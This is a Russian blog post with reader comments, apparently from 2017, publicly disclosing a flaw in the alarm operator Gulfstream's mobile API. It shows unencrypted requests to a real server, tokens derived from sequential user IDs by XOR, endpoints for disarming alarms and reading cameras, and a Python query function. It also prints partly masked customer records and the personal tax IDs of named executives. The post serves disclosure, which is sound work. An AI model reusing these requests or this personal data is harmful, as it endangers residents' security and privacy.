Данная публикация носит исключительно информационный характер и призвана обратить внимание руководства крупного российского оператора систем охранной сигнализации "ГОЛЬФСТРИМ Охранные Системы" (далее — ГОЛЬФСТРИМ) на наличие уязвимости информационной системы, ставящей под удар защиту и безопасность граждан, а также федеральных органов исполнительной власти, доверивших защиту своего имущества данной компании.


ВНИМАНИЕ: Рекомендуем читать текст под музыку группы Каста-Скрепы, очень помогает глубже понять всю безнадежность ситуации, описанной ниже...


Предисловие


В нелёгкое время "цифровой экономики" и властных попыток зарегулировать Интернет, хотелось бы внести свою скромную лепту в совершенствование этого Мира и осветить отношение к ИБ со стороны одной частной компании. В нашей публикации мы покажем, как компания ГОЛЬФСТРИМ продемонстрировала свое наплевательское отношение к данному вопросу подставив тем самым не только рядовых пользователей-граждан, но также и органы исполнительной власти.


Некоторое время назад в распоряжении компании "Expocod" оказалась информация о наличии серьёзной уязвимости в информационной системе компании "ГОЛЬФСТРИМ". По имеющимся у нас достоверным данным, уязвимость позволяет получить доступ к персональным данным пользователей системы охранной сигнализации, а также осуществить удалённое управление состоянием сигнализации огромного количества объектов.


С момента получения данной информации нами предпринимались неоднократные попытки связаться с руководством компании "ГОЛЬФСТРИМ", однако до настоящего времени ни одна из таких попыток не увенчалась успехом (4 электронных письма, 3 телефонных звонка, сообщения в Telegram, визит в офис и очное общение с представителями компании). Учитывая то, что компания "Expocod" ставит своей задачей повышение общего уровня информационной безопасности в России, а также факты игнорирования представителями компании "ГОЛЬФСТРИМ" наших многочисленных сигналов, было принято решение о публикации имеющейся в нашем распоряжении информации в СМИ с раскрытием общих технических подробностей.


Общая информация о компании "ГОЛЬФСТРИМ Охранные Системы"


Исходя из информации, представленной на официальном сайте компании, группа компаний ГОЛЬФСТРИМ работает на рынке охраны без малого 23 года. Реклама с официального сайта гласит, что 23 года работы ГОЛЬФСТРИМ это (цитируем): «решения проверенные временем, 75 тысяч клиентов, качество на каждом этапе, квалификация персонала...».


Беглый поиск по базе сведений о государственной регистрации юридических лиц даёт следующее:


  • ОБЩЕСТВО С ОГРАНИЧЕННОЙ ОТВЕТСТВЕННОСТЬЮ ЧАСТНАЯ ОХРАННАЯ ОРГАНИЗАЦИЯ "ГОЛЬФСТРИМ СЛУЖБА ОХРАНЫ"
    ОГРН/ИНН 1107746777380/7715829624
    Дата регистрации 23.09.2010
    Уставный капитал 250000р
    Генеральный директор ИВАНОВ АЛЕКСЕЙ ВЛАДИМИРОВИЧ (ИНН 504008784580)
    Учредители ПИСЬМАН ВЕНИАМИН ФОНЕВИЧ (доля 100%)
  • ОБЩЕСТВО С ОГРАНИЧЕННОЙ ОТВЕТСТВЕННОСТЬЮ ЧАСТНАЯ ОХРАННАЯ ОРГАНИЗАЦИЯ "ГОЛЬФСТРИМ ОХРАННЫЕ СИСТЕМЫ"
    ОГРН/ИНН 1097746799875/7715787653
    Дата регистрации 14.12.2009
    Уставный капитал 250000р
    Генеральный директор САМОДУМСКИЙ СТАНИСЛАВ АЛЕКСАНДРОВИЧ
    Учредители ПИСЬМАН ВЕНИАМИН ФОНЕВИЧ (доля 99%), САМОДУМСКИЙ СТАНИСЛАВ АЛЕКСАНДРОВИЧ (доля 1%)

Итак, открытые источники подсказывают, что владельцем (и председателем совета директоров) компании "ГОЛЬФСТРИМ" является некто Письман Вениамин Фоневич (ИНН 771805121540):



Пользуясь возможностью, передаём пламенный привет Вениамину Фоневичу и просим обратить внимание на действия или бездействия сотрудников его компании которые, будучи информированными задолго до выхода в свет данного материала не предприняли решительно никаких попыток отреагировать.



Переходя непосредственно к технической части нашего повествования, стоит ещё раз особо отметить, что компания "Expocod" располагает достоверной информацией о наличии уязвимости. Однако, ввиду того что данная уязвимость была обнаружена независимым исследователем безопасности, мы располагаем лишь частичными подробностями и не располагаем данными, которые могли были получены с использованием данной уязвимости. По договорённости с автором и с его разрешения мы публикуем технические подробности без указания важных деталей, знание которых необходимо для успешной эксплуатации.


Описание уязвимости


Уязвимость существует в протоколе взаимодействия мобильного приложения (МП) с центром управления (ЦУ). На момент публикации, исследованным является протокол обмена между приложением для iOS (последняя версия приложения от 29/06/2017). Протокол представляет собой REST-подобный интерфейс, построенный поверх HTTP. Запросы к ЦУ имеют следующий формат:


POST http://195.19.222.170/GulfstreamWebServices/rest/[method] HTTP/1.1
Accept: */*,
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: keep-alive
Content-Type: application/json
Proxy-Connection: keep-alive
User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0

{ userID: [userID], userToken: [userToken] }

Первое, что бросается в глаза — отсутствие какого-либо шифрования данных. То есть обмен критичной информацией между МП и ЦУ осуществляется по открытому каналу связи без какой-либо защиты от пассивного прослушивания! Не используется также и технология certificate pinning, которая могла бы способствовать защите от MiTM атак на канал управления. В нашем случае протокол легко анализируется с помощью приложения mitmproxy, использовать который может даже школьник (а ведь приложение управления сигнализацией создано для серьезных вещей).


Следующий шаг следует вероятно начать с описания таких параметров как userID и userToken. Очевидно, что userID представляет собой идентификатор пользователя мобильного приложения, тогда как userToken — токен, позволяющий данному пользователю получить доступ к функциям системы. Рассмотрим подробнее функцию регистрации пользователя в системе:


POST http://195.19.222.170/GulfstreamWebServices/rest/profile/register HTTP/1.1
Accept: */*,
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: keep-alive
Content-Type: application/json
Proxy-Connection: keep-alive
User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0

{ contractNumber: [contractNumber], deviceToken: [deviceToken], deviceType: 1 }

Данная функция осуществляет регистрацию МП в системе. Параметрами регистрации являются номер договора и уникальный идентификатор устройства. Ниже представлены ответы системы на попытки регистрации нового устройства для одного и того же договора с разными значениями deviceToken:


deviceToken = E3cDC2DdCdf75afc5865DBE2Ead3a4BB2fdB2CabBD441ADDaaa81ea8Dfd9C9ae
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":71671,"userToken":"dkJCRVg=","contractNumber":"495020xxxx","phone":"7******7007"}}

deviceToken = 7e3280581591Af0e5eaabadbE5b33B0Af84e20CBBd16226a22f5C3570A02B341
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72033,"userToken":"dkFEQVo=","contractNumber":"495020xxxx","phone":"7******7007"}}

deviceToken = aEd42FB8CBf8Af3E9Ec6Af8cad0C4deF2eaeF200EaBFf4DDFeeDFF4106CC703A
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72072,"userToken":"dkFERVs=","contractNumber":"495020xxxx","phone":"7******7007"}}

Как видно, ответом на запрос является JSON-структура, содержащая в том числе поля userID и userToken. Кроме того, в ответе есть частично скрытый номер телефона владельца контракта. Также можно видеть, что в данный момент в системе около 72 тысяч пользователей (или попыток регистрации МП, т.к. каждая попытка с новым deviceToken выдаёт новый "уникальный" userID).


Однако самым удивительным открытием является следующее: номера userID выдаются последовательно, а в структуре токена userToken прослеживается некая закономерность… Можно предположить, что userToken каким-то образом зависит от userID, то есть userToken = f(userID). Но что это за функция?


Мы не располагаем информацией каким именно образом исследователю безопасности, который связался с нами и передал данную инфомацию, удалось установить точную функцию, но по его словам этой функцией оказался… обычный XOR!


Таким образом, зная диапазон значений userID (0..72k) и функцию, по которой вычислять userToken, можно получить доступ, например, к следующим REST API системы:


GulfstreamWebServices/rest/profile/updateUserDeviceToken
GulfstreamWebServices/rest/profile/getCustomerDetails
GulfstreamWebServices/rest/profile/getCustomerProfileImage
GulfstreamWebServices/rest/panel/getEstimateArmState
GulfstreamWebServices/rest/panel/setArmState
GulfstreamWebServices/rest/panel/getEventHistory
GulfstreamWebServices/rest/panel/getNotifications
GulfstreamWebServices/rest/panel/getAvailableNotificationExtendedList
GulfstreamWebServices/rest/panel/getNotificationState
GulfstreamWebServices/rest/panel/getRemoteTags
GulfstreamWebServices/rest/panel/updateRemoteTagState
GulfstreamWebServices/rest/panel/getVideo
GulfstreamWebServices/rest/panel/getAllVideos
GulfstreamWebServices/rest/panel/getPanelCameraList

Представленный список отнюдь не является полным. В совокупности с возможностью перебора идентификации пользователей можно получить полную базу данных объектов охраны. Так, например, ниже представлена python-функция, запрашивающая информацию о пользователе:


def gs_api_get_customer_details(u, t):
    r = s.post(
         'http://195.19.222.170/GulfstreamWebServices/rest/profile/getCustomerDetails',
         headers = {
             'Accept': '*/*',
             'Accept-Encoding': 'gzip, '
             'deflate',
             'Accept-Language': 'en-us',
             'Connection': 'keep-alive',
             'Content-Type': 'application/json',
             'Proxy-Connection': 'keep-alive',
             'User-Agent': 'SecurityApp/190 '
             'CFNetwork/811.5.4 '
             'Darwin/16.7.0' },
         json = {
             'userID': u,
             'userToken': t
         }
)
return r.json()

Проверим, что можно получить используя API profile/getCustomerDetails для пользователя с userID = 296:


{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '71/*****', 'fullName': 'Письман Вениамин Фоневич', 'address': 'обл. Московская, р-н Одинцовский, д. Ж******, тер Ж******-21, уч. *****', 'accountStatus': 1001, 'paidTill': '2017-12-31 00:00', 'debt': '-9560.00', 'hardwareType': 2002, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '*****58', 'activationCode': '', 'intercomCode': '', 'email': 'v*****n@gulfstream.ru', 'telephone': '7910*****38', 'homeTelephone': '+7 (495) *****-82', 'workTelephone': '', 'monthlyFee': '2390.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=71/*****&debt=0', 'userID': 296, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': None, 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': False, 'isRemoteTagsSupported': False, 'longitude': *****, 'latitude': *****, 'timeZone': 'Europe/Moscow', 'balance': 9560.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': False, 'isTemperatureReadingSupported': False, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}

Как видно, адрес объекта (скрыт намеренно) принадлежит НП "Жуковка-21", соучредителем которого, по информации из открытых источников, является сам уважаемый Вениамин Фоневич:



Итак, некто с userID = 296 является до невозможности похожим на учредителя компании "ГОЛЬФСТРИМ". Информация, полученная ранее из публичных источников подтверждает подлинность этих данных.


Другим интересным методом API является panel/getVideo. С его помощью можно получить видео с камер, установленных на объекте в случае, если сигнализация оборудована соответствующим оборудованием. Для примера посмотрим видео пользователя с userID = 70072:


{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '******', 'fullName': 'Тетовый Сахарный Андрей Инженерович', 'address': 'г. Москва, ул. Бутырская, д. 62', 'accountStatus': 1001, 'paidTill': '2016-04-26 00:00', 'debt': '0.00', 'hardwareType': 2004, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '00146737', 'activationCode': '', 'intercomCode': '', 'email': 'csm_tech@gulfstream.ru', 'telephone': '7926322****', 'homeTelephone': '7495980****', 'workTelephone': '', 'monthlyFee': '690.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=*****&debt=0', 'userID': 70072, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': 'Мой дом', 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': True, 'isRemoteTagsSupported': True, 'longitude': 37.583751, 'latitude': 55.803008, 'timeZone': 'Europe/Moscow', 'balance': 0.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': True, 'isTemperatureReadingSupported': True, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}



Вероятно, данный объект представляет собой офис компании "ГОЛЬФСТРИМ".


Ещё одной интересной функцией является функция запроса информации о бесконтактных ключах: panel/getRemoteTags. С оборудованных бесконтактными ключами объектов можно получить информацию не только о серийных номерах ключей (что даст возможность сделать дубликат ключа), но также и отключить те или иные ключи, а также заменить их серийные номера. Следующая картинка демонстрирует использование mitmproxy и отображает серийники ключей для тестового стенда, расположенного в офисе компании (всё тот же userID = 70072, Паше и Коле — привет):



Ну и в завершении отметим, что помимо запроса информации с объектов данный протокол позволяет управлять состоянием сигнализации. Используя panel/setArmState можно включить и выключить сигнализацию на любом из 70 тысяч объектов не вставая с дивана. Занавес.


Основные выводы


Подводя итог нашему сумбурному изложению отметим, что в системе управления сигнализацией, разработанной компанией "ГОЛЬФСТРИМ", существуют ошибки, позволяющие как минимум:


  • получать информацию о пользователях системы и объектах, где установлена данная сигнализация
  • удалённо управлять сигнализацией — включать и отключать
  • удалённо управлять бесконтактными ключами, включая возомжность добавления своих ключей или отключения существующий
  • удалённо получать доступ к информации с камер наблюдения

Мы честно пытались довести данную информацию до представителей компании ГОЛЬФСТРИМ, а также до её руководства в течение без малого 2-х месяцев с момента получения нами данной информации. До настоящего времени данная ошибка НЕ исправлена. Можно только предположить, кто, как и в каких целях мог её использовать...


Резонно возникает вопрос — если учредитель компании доверяет охрану свого дома ГОЛЬФСТРИМу, то может ли это являться примером для подражания обычным гражданам, желающим "иметь право на безопасность"?


Наш ответ — НЕТ!


Также занимательно, что в числе объектов охраны ГОЛЬФСТРИМа есть объекты ФСО и УДП, расположенные на Рублево-Успенском шоссе, а также важные коммунальные госкомпании...


Интересно будет ли доволен директор ФСО Кочнев Д.В., узнав что на ряд ведомственных объектов можно пробраться кликнув мышкой? Впрочем добраться ему до господина Письмана и призвать к ответу за халатность, живущего судя по записям (ведь он же патриот собственной системы) рядышком в Жуковке, легко и просто – буквально рукой подать, а еще лучше прислать черный воронок.


P.S. Отдельно стоит отметить стиль общения СБ Гольфстрима и его сотрудников — то самое слово на г. в заголовке, которое первое приходит на ум после разговора (запись имеется).


P.S.S. 27 сентября 2017 года, утро. Рады что удалось донести до руководства компании данную проблему, существующую около 2-х лет (время выхода мобильного приложения). На данный момент сервера компании отключены — логичный ход мысли, нет сервера — нет уязвимости (по крайней мере этой..)

Комментарии (43)


  1. Ugrum
    26.09.2017 16:08
    +8

    Неделя скандалов, интриг и расследований продолжается.
    Попкорн. Срочно. Ведро.
    Одно не понятно, причём здесь гопота?


    1. EXPOCOD Автор
      26.09.2017 16:53
      +2

      Гопники в данном случае это стиль общения СБ Гольфстрима в лице Суровцева П.А.


      1. vilgeforce
        26.09.2017 17:12
        +8

        А что ж о нем в статье ничего?


  1. panvartan
    26.09.2017 16:18
    +12

    не люблю слово «зашквар», но здесь, похоже, он самый


  1. Timon_Timonich
    26.09.2017 17:29

    Аккурат вчера пришла смс от Гольфстрима с предупреждением об обновлении мобильного приложения. Совпадение?


    1. POS_troi
      26.09.2017 18:01
      +3

      Ну решили втихую попатчить, а может даже полученную информацию приписать на свой счёт и премию поиметь.
      В любом случае джин уже выбрался из бутылки.
      Будет весело если сейчас найдутся клиенты, которых ограбили и в тот момент сигнализацию почему-то не работала.


      1. fenst
        26.09.2017 18:24
        +7

        Более того, клиент и не докажет, что сигнализацию перед выходом из дома он активировал, а деактивирована она была удаленно. Не будет же Гольфстрим говорить «да вас ограбили из-за косяка в нашем ПО».


        1. kalininmr
          27.09.2017 08:28
          +1

          способы доказывания что не сам деактивировал тоже туманны.


    1. Nokta_strigo
      26.09.2017 22:32
      +2

      Ну даже если они обновят мобильное приложение, то что бы защититься от такой атаки им надо будет отказаться от совместимости со старыми версиями.
      Да и вряд ли в новой версии не будет существенных уязвимостей, т.к. судя по описанному в статье на этапе проектирования там о безопасности вообще не думали.


      1. NTG24
        27.09.2017 11:17
        +1

        Так и есть, в новом приложении нужно абсолютно заново вносить все свои данные.
        В новое приложение даже учетные данные не переносятся…


    1. EXPOCOD Автор
      27.09.2017 10:37

      Верно


  1. Lorien_Elf
    27.09.2017 00:05
    +4

    Господи, какая помойка. Клиент привлекает внимание сомнительных личностей самим фактом установки охранного оборудования (значит, есть что прятать!), а на сдачу получает ложное чувство безопасности. Киберпанк, который мы заслужили :-(


  1. furtaev
    27.09.2017 04:52
    +1

    Тяжело читать такие посты, в которых прямо из каждого предложения сочится глубокая обида на компанию, не желающую сотрудничать с White Hat-ом. Не принимайте Вы это так близко к сердцу! Не захотел г-н Письман заплатить Вам пару шекелей — не беда, не он первый и не Вы — последний, продолжайте работать.


    1. EXPOCOD Автор
      27.09.2017 08:18
      +8

      Понимаем Ваши мысли, но в данном случае речь совсем не шла о деньгах, тем более что в силу особенности мировоззрения должностных лица компании, общавшихся с нами, даже в теории не могли предложить что-то что могло бы заинтересовать. Поэтому данная публикация является исключительно информационной.


  1. Temmokan
    27.09.2017 05:47
    +3

    Интересно, будет ли реакция от «Гольфстрима» в этом конкретном блоге.

    Сдаётся мне, самое большее — заменят один косяк в безопасности на другой и с помпой оповестят пользователей о «повышении уровня безопасности». Ведь сайт — сплошной маркетинговый слоган «какие мы крутые и надёжные».


  1. EXPOCOD Автор
    27.09.2017 10:34
    +7

    P.S.S. 27 сентября 2017 года, утро. Рады что удалось донести до руководства компании данную проблему, существующую около 2-х лет (время выхода мобильного приложения). На данный момент сервера компании отключены — логичный ход мысли, нет сервера — нет уязвимости (по крайней мере этой..).


    1. evilruff
      27.09.2017 16:02

      фиг знает по поводу «отключены»… у меня на телефоне вроде их приложение работает и с утра нотификация пришла о снятии… даже если и отключали утром, то приложение точно не обновлялось… по крайней мере после обновления пару-тройку дней назад…


  1. ameli_anna_kate
    27.09.2017 10:56
    +5

    Я как-то думала подключить квартиру на охрану этого агентства, почитала отзывы бывших сотрудников и расхотелось. Так что там и с кадрами не все гладко.


  1. Landgraph
    27.09.2017 11:25
    -1

    Кмк автор показал только вершину айсберга: ведь не учредители же писали софт…
    Как надоело уже слышать всюду «техническая ошибка», а ведь за ней обязательно кто-то стоит (исключения есть, на уровне погрешности, форс-мажор называется).
    Давайте говорить честно: кто-то из наших с вами коллег (администраторов, программистов, архитекторов и тп) накосячил.
    Или проще сказать «мне менеджер запретил создать хорошую систему»? Вместо того, чтобы отстоять позицию, доступно обрисовать все риски, в конце концов отказаться делать заведомо плохо! Неужели нет элементарной профессиональной гордости?
    Да в конце концов: не можешь — не берись! Это же косяки уровня времен становления интернета и include $_GET[’show’]!


    1. Loki3000
      27.09.2017 11:30
      +3

      кто-то из наших с вами коллег (администраторов, программистов, архитекторов и тп)

      Совсем необязательно. Программистам надо деньги платить, так что лучше найти кого-то, кто будет работать за еду.


      1. Landgraph
        27.09.2017 11:44

        Давайте не пытаться скрыть проблему жонглированием слов. Кодеры они тоже «из наших» :)
        Вам не надоело на каждом углу слушать про плохих программистов? Мне думается, нас уже скоро бить на улицах начнут за «технические проблемы» везде и всюду :)
        Кстати, это проблема не только нашей отрасли, а многих: всегда найдутся те, кто готов делать «как получится», «за еду». :(


        1. Loki3000
          27.09.2017 11:52

          Написание какого-то кода еще не делает человека программистом. А то сейчас каждый владелец фотоаппарата — фотограф, а каждый владелец аккаунта в соцсети — журналист. Я вот могу гвоздь в стену забить (да-да, прямо в штукатурку) — могу ли я, на этом основании, называть себя строителем?


          1. Landgraph
            27.09.2017 12:18

            Ок, как тогда в Вашей терминологии называются те, кто её реализовал и сопровождал? :)
            Или те, кто пишут за деньги плохой код не бросают тень на тех, кто пишет хороший и с Вашей точки зрения достоин называться программистом?


            1. Loki3000
              27.09.2017 12:26
              +3

              Ок, как тогда в Вашей терминологии называются те, кто её реализовал и сопровождал? :)


              Не знаю… может врачи? Они много и неразборчиво пишут:)


          1. xmetropol
            27.09.2017 14:53

            Мне в такие моменты вспоминается спор (коих уже было много на хабре), а нужно ли программисту знать основы алгоритмов, структур данных и т.п. Вот можно добавить ещё, а нужно ли знание основ ИБ для создания охранной системы? Исходя из данной статьи, ответ следующий — нет, не нужно. Систему ведь сделали, она работает. С телефона сигнализацию можно включить/выключить, удобно же)))


        1. vadimr
          27.09.2017 14:00

          И правильно делают. В любой области есть те, кто готов работать дёшево и плохо, и те, кто — дорого и хорошо (а также два остальных варианта). Важно не путать их между собой. Если владельцы охранного бизнеса экономят на квалифицированных специалистах по защите информации, то кто ж им доктор? Имеют право. Важно пользователям не вестись на всё это.

          Но человек, который без малейшей задней мысли носит с собой кредитку, способную раздавать его деньги по радиозапросу желающих, уж точно не будет париться с проверкой шифрования трафика охранной системы. Тут только на естественный отбор надежда.


    1. iig
      27.09.2017 12:31
      +1

      Охранники — либо бывшие менты силовики, либо бывшие уголовники. Либо не бывшие. Отсюда и стиль общения с авторами статьи, и стремление улучшать свой продукт (зачем? деньги с клиентов и так капают, конкуренты на этот рынок так просто не зайдут..).


    1. Mabusius
      27.09.2017 14:54

      Скорее всего было приказано «делай пока так. а потом переделаем как надо». Потом так и не наступило. Не знаю как в мире, но в этой стране почти все так работает.


  1. amarao
    27.09.2017 14:16
    +11

    Очень плохо написаннная статья.

    1. Возмущение в статье про уязвимость — отвлечение внимания. Если уязвимость серьёзная, найдутся те, кто возмутятся за вас, и куда более художественно. Нейтральный тон.
    2. В технической статье не нужны все эти егурлы и прочие ЧП. Уязвимость в софте, а не в реестре юрлиц.
    3. Статья должна начинаться с короткого введения: «критическая уязвимость, позволяющая… » (одно предложение) и информации о формате disclosure (coordinated disclosure или в связи с отсутствием реакции в течение N времени).
    4. Технические факты должны быть вначале (после вступления).
    5. История раскрытия — потом.
    6. В конце — выводы. Кто уязвим и что делать.

    При том, что вы пишите про совершенно вопиющую халтуру, и исследование очень важное, читать его совершенно не хочется из-за формата.


    1. alexglue
      27.09.2017 15:09
      +2

      Но вы, тем не менее, прочитали, несмотря на формат )


      1. amarao
        27.09.2017 15:24
        +6

        Пролистал до описания уязвимости, и был крайне недоволен, что столько воды в начале.


    1. TimsTims
      28.09.2017 00:56

      Соглашусь. Эта желтушная хрень в начале вообще лишняя.
      Одна картинка учредителя, с выделенной фамилией (видимо, автору она показалась забавной, иначе он бы выделил всё имя с фамилией).
      Стиль написания тоже похож на желто-газетный стиль: кого-то обосрать, кого-то опустить, о чем-то сболтнуть, и вокруг побольше мути «смотрите, кто защищает объекты»

      Беглый поиск по базе сведений о государственной регистрации юридических лиц даёт следующее:

      А не беглый поиск даёт
      еще больше компаний гольфстрим

  1. oleksii_nykytenko
    27.09.2017 16:05

    Тема отличная, жизненно-техническая, также подходит для газеты «Скандалы, интриги, расследования» :)


  1. fryday
    27.09.2017 18:25
    +2

    Мы не располагаем информацией каким именно образом исследователю безопасности, который связался с нами и передал данную инфомацию, удалось установить точную функцию, но по его словам этой функцией оказался… обычный XOR!

    Постойте, но установить же функцию в данном случае тривиально!


  1. Temmokan
    27.09.2017 18:36

    > Рады что удалось донести до руководства компании данную проблему, существующую около 2-х лет

    Так они что, ответили каким-то образом? Или выключенные сервера наводят на такую мысль?


    1. evilruff
      27.09.2017 18:45

      Уже выше писал… особо выключенными их не видел. Даже полюбопытствовал что в новой версии в виде токена… поменяли на какой то base64 по внешнему виду… на xor от userid содержимое после декода не особо похоже… пиннига сертификата нет… старый клиент на телефоне у супруги превратился в кирпич..


      1. EXPOCOD Автор
        27.09.2017 20:21

        По крайней мере сегодня в 10 утра сервер авторизации отдавал ошибку 403.


      1. Temmokan
        28.09.2017 01:30

        Понятно. Товарищи, возможно, направились путём наименьшего сопротивления — мы тут поменяем по-быстрому один костыль на другой…

        Интересно было бы увидеть аналогичный анализ их нового протокола.


        1. evilruff
          28.09.2017 11:04

          Ну чисто внешне там все выглядит как и было, сегодня еще раз посмотрел… кроме того что token теперь длинный… все остальное один в один… токен статичный, то есть вчерашний отлично работает… я просто не увидел в статье как он раньше выглядел и от чего там XOR, на самом деле, правды ради, там и раньше при регистрации с телефона приходила СМС на номер владельца договора, содержимое которой предлагалось вводить при регистрации приложения на телефоне. Странно, что они собственно этот номер из СМС не замешали в токен…


  1. Vovanys
    27.09.2017 20:35

    Гольф обновил приложение, можете заново повторить манипуляции? Интересно что они сделали для улучшения «защиты»… И стоит ли на нем оставаться…
    В веб версии кстати нету никаких кнопок типа снятия и поставки на охрану. Ее бы тоже проверить, а то может и там есть права на просмотр чего не нужно…


    1. evilruff
      28.09.2017 11:15

      ну на самом деле, по крайней мере в СПб, в этом сегменте цен, с учетом того что все оборудование которое они ставят — Honeywell и по какой цене то альтернатив им нет… плюс они достаточно гибко умеют договариваться с группами реагирования, то есть по сути они просто ставят оборудование и заводят к себе на пульт, а договор на приезд может быть в принципе с кем угодно кто ближе-удобнее-хочет клиент итд…

      судя по тому что видел когда мне все это устанавливали идет какой то внутрикорпоративный процесс внедрения чего то нового, чем даже их монтажники не до конца еще умеют пользоваться…

      это все безусловно не оправдывает косяк, но в реалиях я не удивлюсь что всем этим чудом ИТ-строения заведует отдел из 3-4 человек, формата «сам себе режиссер», что вообщем далеко не единичный случай для такого рода «непрофильных» компаний…


  1. Louie
    28.09.2017 08:55
    +1

    Аудит дотошный. Так и надо
    Насчет воды и излишней экспрессии, о которой говорят камрады — тоже верно. Мне бы к этой статье приглянулся заголовок типа: «Шок. Письман показал всё (фото)» или «Интернет шокирован обнаженным кодом Гольфстрим (видео)».